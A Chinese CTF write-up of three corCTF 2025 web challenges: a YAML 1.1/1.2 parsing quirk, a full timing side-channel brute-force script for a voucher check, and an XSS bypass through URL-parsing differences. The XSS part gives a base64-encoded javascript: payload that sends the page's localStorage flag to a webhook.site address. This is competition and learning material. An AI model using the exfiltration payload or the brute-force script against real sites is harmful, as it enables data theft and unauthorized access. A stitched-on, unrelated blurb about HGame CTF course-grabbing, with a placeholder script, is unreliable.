【Web】corCTF 2025 wp

目录

yamlquiz

vouched

safe-url


yamlquiz

题目源码

要求构造一个YAML文档,使其在YAML 1.1和1.2版本下解析出的score值不同,且1.1版本解析的结果为5000

参考文章

The yaml document from hell

result:
  - score: 1:23:20

ur;编码一下

result%3A%0A%20%20-%20score%3A%201%3A23%3A20

vouched

一眼顶针,AI都看出来可以打侧信道了

AI搓个脚本秒了

import requests
import time
import hashlib
import binascii

# 从源码中复制的常量
PBKDF2_ITERATIONS = 1750000
DKLEN = 32

def calculate_signature(password: str, salt: str) -> str:
    """与服务器相同的签名计算函数"""
    return binascii.hexlify(
        hashlib.pbkdf2_hmac("sha256", password.encode(), salt.encode(), PBKDF2_ITERATIONS, dklen=DKLEN)
    ).decode()

class VoucherBruteForcer:
    def __init__(self, target_url, user_agent="Mozilla/5.0"):
        self.target_url = target_url
        self.user_agent = user_agent
        self.known_positions = {1: '-', 4: '-', 8: '-'}
        self.charset = "ABCDEF0123456789"
        self.current_voucher = ['*'] * 12
        self.baseline_time = 0
        
        for pos, char in self.known_positions.items():
            self.current_voucher[pos] = char
        
        print(f"目标: {target_url}")
        print(f"初始优惠券: {''.join(self.current_voucher)}")
    
    def get_response_time(self, test_voucher, test_signature):
        """测量请求响应时间"""
        data = {"voucher": test_voucher, "signature": test_signature}
        headers = {"User-Agent": self.user_agent, "Content-Type": "application/json"}
        
        try:
            start_time = time.perf_counter()
            response = requests.post(self.target_url, json=data, headers=headers, timeout=8)
            elapsed = time.perf_counter() - start_time
            return elapsed, response.text
        except Exception as e:
            return 0, f"Error: {e}"
    
    def brute_force_voucher(self):
        """逐字符爆破优惠券码"""
        print("开始侧信道攻击...")
        
        # 获取基准时间(测量2次取平均)
        fake_voucher = "A" * 12
        fake_signature = calculate_signature(fake_voucher, self.user_agent)
        baseline_times = []
        for _ in range(2):
            elapsed, _ = self.get_response_time(fake_voucher, fake_signature)
            baseline_times.append(elapsed)
            time.sleep(0.2)
        
        self.baseline_time = sum(baseline_times) / len(baseline_times)
        print(f"基准响应时间: {self.baseline_time:.6f}s (测量2次平均)")
        
        # 逐个位置爆破
        for position in range(12):
            if position in self.known_positions:
                continue  # 跳过已知位置
                
            print(f"\n爆破位置 {position}:")
            max_time = 0
            best_char = None
            char_times = {}
            
            for char in self.charset:
                # 构建测试优惠券
                test_voucher_list = self.current_voucher.copy()
                test_voucher_list[position] = char
                test_voucher_str = ''.join(test_voucher_list)
                
                # 计算签名
                test_signature = calculate_signature(test_voucher_str, self.user_agent)
                
                # 单次测量
                elapsed, response_text = self.get_response_time(test_voucher_str, test_signature)
                char_times[char] = elapsed
                
                # 检查是否直接获得flag
                if "corCTF" in response_text or "FLAG" in response_text:
                    print(f"🎯 直接获得flag! 响应: {response_text}")
                    return test_voucher_str
                
                print(f"  '{char}': {elapsed:.6f}s", end="")
                
                if elapsed > max_time:
                    max_time = elapsed
                    best_char = char
                    print(" ← 最佳")
                else:
                    print()
                
                # 短暂延迟避免请求过快
                time.sleep(0.1)
            
            # 额外验证:如果最佳时间与基准时间差异太小,重新测量
            time_diff = max_time - self.baseline_time
            if time_diff < 0.01:  # 如果差异太小
                print(f"⚠️  时间差异过小({time_diff:.6f}s),重新验证最佳字符 '{best_char}'")
                test_voucher_list = self.current_voucher.copy()
                test_voucher_list[position] = best_char
                test_voucher_str = ''.join(test_voucher_list)
                test_signature = calculate_signature(test_voucher_str, self.user_agent)
                
                # 重新测量3次取平均
                verify_times = []
                for _ in range(3):
                    elapsed, _ = self.get_response_time(test_voucher_str, test_signature)
                    verify_times.append(elapsed)
                    time.sleep(0.1)
                
                verify_avg = sum(verify_times) / len(verify_times)
                print(f"  验证结果: {verify_avg:.6f}s (3次平均)")
                
                # 如果验证时间仍然不明显,选择次优字符
                if verify_avg - self.baseline_time < 0.005:
                    print("⚠️  验证失败,尝试次优字符...")
                    # 找到时间第二长的字符
                    sorted_chars = sorted(char_times.items(), key=lambda x: x[1], reverse=True)
                    if len(sorted_chars) > 1:
                        second_best_char, second_time = sorted_chars[1]
                        print(f"  尝试次优字符 '{second_best_char}': {second_time:.6f}s")
                        best_char = second_best_char
            
            # 更新字符
            self.current_voucher[position] = best_char
            current_progress = ''.join(self.current_voucher)
            current_time = char_times[best_char]
            print(f"✓ 位置 {position}: '{best_char}' (时间: {current_time:.6f}s)")
            print(f"  当前进度: {current_progress}")
        
        return ''.join(self.current_voucher)
    
    def get_flag(self, voucher_code):
        """使用正确的优惠券码获取flag"""
        correct_signature = calculate_signature(voucher_code, self.user_agent)
        
        data = {"voucher": voucher_code, "signature": correct_signature}
        headers = {"User-Agent": self.user_agent, "Content-Type": "application/json"}
        
        try:
            response = requests.post(self.target_url, json=data, headers=headers)
            return response.text
        except Exception as e:
            return f"请求错误: {e}"

def main():
    target_url = "https://vouched-4059f522035cfbdb.ctfi.ng/check"
    user_agent = "Mozilla/5.0"
    
    brute_forcer = VoucherBruteForcer(target_url, user_agent)
    
    try:
        start_time = time.time()
        voucher_code = brute_forcer.brute_force_voucher()
        end_time = time.time()
        
        print(f"\n⏱️  爆破完成! 耗时: {end_time - start_time:.2f}秒")
        print(f"🎉 优惠券码: {voucher_code}")
        
        # 获取flag
        print("获取flag中...")
        flag_result = brute_forcer.get_flag(voucher_code)
        print(f"🏁 {flag_result}")
        
    except KeyboardInterrupt:
        print("\n⏹️  用户中断")
        current_progress = ''.join(brute_forcer.current_voucher)
        print(f"当前进度: {current_progress}")
    except Exception as e:
        print(f"\n❌ 错误: {e}")
        import traceback
        traceback.print_exc()

if __name__ == "__main__":
    main()

safe-url

其实不是很想打xss,但这题其实考的是url解析差异,看下吧

bot先是访问safe-url.ctfi.ng这个站点,存入flag,再访问我们给的URL

有两层waf,一个是限制hostname为safeHostnames里的,二个是限制pathname长度小于10

这里协议是可以随便用的,不局限于http

如这样构造

data://cor.team/plain,11

重定向后浏览器就会去下载文件,内容为11

而题目是怎么解析url的呢

其实就是new一个URL对象,然后取其属性,如protocol、host、pathname

也让AI搓一个脚本,解析输入url的各部分,逻辑和题目一致

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>URL解析工具</title>
    <style>
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        body {
            background: linear-gradient(135deg, #1a2a6c, #b21f1f, #fdbb2d);
            color: #333;
            line-height: 1.6;
            padding: 20px;
            min-height: 100vh;
        }
        .container {
            max-width: 1000px;
            margin: 0 auto;
            background: rgba(255, 255, 255, 0.97);
            border-radius: 15px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.2);
            overflow: hidden;
        }
        header {
            background: #1a2a6c;
            color: white;
            padding: 25px;
            text-align: center;
        }
        h1 {
            font-size: 2.5rem;
            margin-bottom: 10px;
        }
        .content {
            padding: 30px;
        }
        .input-section {
            margin-bottom: 30px;
        }
        .input-group {
            display: flex;
            gap: 10px;
            margin-bottom: 15px;
        }
        input[type="text"] {
            flex: 1;
            padding: 12px 15px;
            border: 2px solid #ddd;
            border-radius: 8px;
            font-size: 16px;
        }
        button {
            background: #1a2a6c;
            color: white;
            border: none;
            padding: 12px 20px;
            border-radius: 8px;
            cursor: pointer;
            font-size: 16px;
            transition: background 0.3s;
        }
        button:hover {
            background: #2d4e77;
        }
        .result-section {
            background: #f8f9fa;
            border-radius: 10px;
            padding: 20px;
            margin-top: 20px;
        }
        h2 {
            color: #1a2a6c;
            margin-bottom: 20px;
            padding-bottom: 10px;
            border-bottom: 2px solid #1a2a6c;
        }
        .url-part {
            display: grid;
            grid-template-columns: 150px 1fr;
            margin-bottom: 10px;
            padding: 10px;
            background: white;
            border-radius: 5px;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }
        .part-name {
            font-weight: bold;
            color: #1a2a6c;
        }
        .part-value {
            font-family: monospace;
            word-break: break-all;
        }
        .error {
            background: #fce8e6;
            color: #d93025;
            padding: 15px;
            border-radius: 8px;
            margin-top: 20px;
        }
        .base-url {
            margin-top: 15px;
            font-style: italic;
            color: #666;
        }
        .note {
            background: #e6f4ea;
            padding: 15px;
            border-radius: 8px;
            margin-top: 20px;
            font-size: 14px;
        }
    </style>
</head>
<body>
    <div class="container">
        <header>
            <h1>URL解析工具</h1>
            <p>分析和分解URL的各个组成部分</p>
        </header>
        
        <div class="content">
            <div class="input-section">
                <h2>输入URL</h2>
                <div class="input-group">
                    <input type="text" id="urlInput" placeholder="输入URL(例如:https://example.com/path?query=value#fragment)">
                    <button id="parseBtn">解析URL</button>
                </div>
                <p class="base-url">当前页面URL: <span id="currentUrl"></span></p>
            </div>
            
            <div class="result-section">
                <h2>解析结果</h2>
                <div id="urlParts"></div>
                <div id="errorMessage" class="error" style="display: none;"></div>
                
                <div class="note">
                    <p><strong>注意:</strong> 此工具使用JavaScript的URL构造函数进行解析,与题目中的解析方式完全一致。</p>
                    <p>URL构造函数使用第二个参数作为基础URL(base),如果第一个参数是相对URL,则会基于基础URL进行解析。</p>
                </div>
            </div>
        </div>
    </div>

    <script>
        document.addEventListener('DOMContentLoaded', function() {
            // 显示当前页面URL
            document.getElementById('currentUrl').textContent = window.location.href;
            
            // 获取DOM元素
            const urlInput = document.getElementById('urlInput');
            const parseBtn = document.getElementById('parseBtn');
            const urlParts = document.getElementById('urlParts');
            const errorMessage = document.getElementById('errorMessage');
            
            // 示例URL
            urlInput.value = 'https://cor.team/path?query=value#fragment';
            
            // 解析URL函数
            function parseUrl() {
                const inputUrl = urlInput.value.trim();
                if (!inputUrl) {
                    showError('请输入URL');
                    return;
                }
                
                try {
                    errorMessage.style.display = 'none';
                    
                    // 使用与题目相同的解析方式
                    const parsedUrl = new URL(inputUrl, window.location.origin);
                    
                    // 显示解析结果
                    displayUrlParts(parsedUrl);
                } catch (error) {
                    showError('URL解析错误: ' + error.message);
                }
            }
            
            // 显示URL各部分
            function displayUrlParts(url) {
                const parts = [
                    { name: 'href', value: url.href },
                    { name: 'origin', value: url.origin },
                    { name: 'protocol', value: url.protocol },
                    { name: 'username', value: url.username },
                    { name: 'password', value: url.password },
                    { name: 'host', value: url.host },
                    { name: 'hostname', value: url.hostname },
                    { name: 'port', value: url.port },
                    { name: 'pathname', value: url.pathname },
                    { name: 'search', value: url.search },
                    { name: 'searchParams', value: JSON.stringify(Object.fromEntries(url.searchParams), null, 2) },
                    { name: 'hash', value: url.hash }
                ];
                
                let html = '';
                parts.forEach(part => {
                    html += `
                        <div class="url-part">
                            <div class="part-name">${part.name}:</div>
                            <div class="part-value">${part.value || '(空)'}</div>
                        </div>
                    `;
                });
                
                urlParts.innerHTML = html;
            }
            
            // 显示错误信息
            function showError(message) {
                errorMessage.textContent = message;
                errorMessage.style.display = 'block';
                urlParts.innerHTML = '';
            }
            
            // 添加事件监听器
            parseBtn.addEventListener('click', parseUrl);
            
            // 按Enter键也可以触发解析
            urlInput.addEventListener('keypress', function(e) {
                if (e.key === 'Enter') {
                    parseUrl();
                }
            });
            
            // 初始解析示例URL
            parseUrl();
        });
    </script>
</body>
</html>

如下,上面的data协议,hostname为cor.team,pathname为/plain,11,符合题目格式要求

但data还是太受限了,题目最终要求是xss,所以考虑用javascript协议

而javascript协议是允许多行解析的

打入payload

让bot访问,似乎bot没法访问裸ip,所以拿webhook接一下

https://safe-url.ctfi.ng/?redirect=javascript%3A%2F%2Fz3r4y%250aeval%28atob%28%27ZmV0Y2goImh0dHBzOi8vd2ViaG9vay5zaXRlL2Q0NmFhOTcwLTg2NjMtNGU4ZC1hMTFhLWM2NTMwOGZmNmVlMy8iK2xvY2FsU3RvcmFnZS5nZXRJdGVtKCJmbGFnIikp%27%29%29%250az3r4y%2Eexample%2Ecom

拿到flag

简单解读下payload的bypass

末尾的example.com可以过掉safehostname的判断

微妙的是,pathname也被解析为空,也直接绕过了长度限制

挺妙的,可惜不能用在SSRF里 :-(

### HGame CTF 2025 WP IT 安全竞赛活动详情 #### 活动概述 HGame CTF 是一项面向全球的安全技术挑战赛,旨在提升参赛者的信息安全技能和技术水平。该赛事通常由多个阶段组成,包括线上资格赛和线下决赛。参与者通过解决各种信息安全领域的问题来获得积分并争夺最终排名。 #### 报名方式 为了参加 HGame CTF 2025,选手可以通过官方渠道报名参与比赛。具体来说,在线注册页面提供了必要的表单供用户填写个人信息完成注册过程[^1]。值得注意的是,某些功能可能依赖于 JavaScript 实现动态交互效果;然而,对于特定操作如 "Select More Courses" 的处理机制并不涉及复杂的前端验证逻辑——只需简单提交请求即可实现目标课程的选择。 #### 赛事规则与策略建议 根据描述中的后端释放新课程的时间间隔设定 (即每隔 30 至 180 秒),以及当某门课未能在五秒内被成功选取时将会重新开放给其他人的特性,可以推测出一种有效的攻击模式被称为“持续爆破”。这种做法意味着频繁尝试获取刚发布的热门资源直到成功为止。不过需要注意的是,在实际比赛中应当遵循公平竞争的原则,避免滥用此类方法影响他人体验或违反主办方规定的行为准则。 ```python import time from datetime import timedelta, datetime def attempt_course_selection(): while True: try: # Simulate course selection request here print(f"[{datetime.now()}] Attempting to select a new course...") # Check if the course was successfully selected within 5 seconds success = simulate_api_call() if success: break time.sleep(5) # Wait before retrying except Exception as e: print(e) def simulate_api_call() -> bool: """Simulates an API call that returns whether selecting a course succeeded.""" return False # Replace with actual logic if __name__ == "__main__": start_time = datetime.now() # Run until we either succeed or reach max duration of 180s from now end_time = start_time + timedelta(seconds=180) current_time = datetime.now() while current_time < end_time: attempt_course_selection() current_time = datetime.now() print("Max waiting period reached.") ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值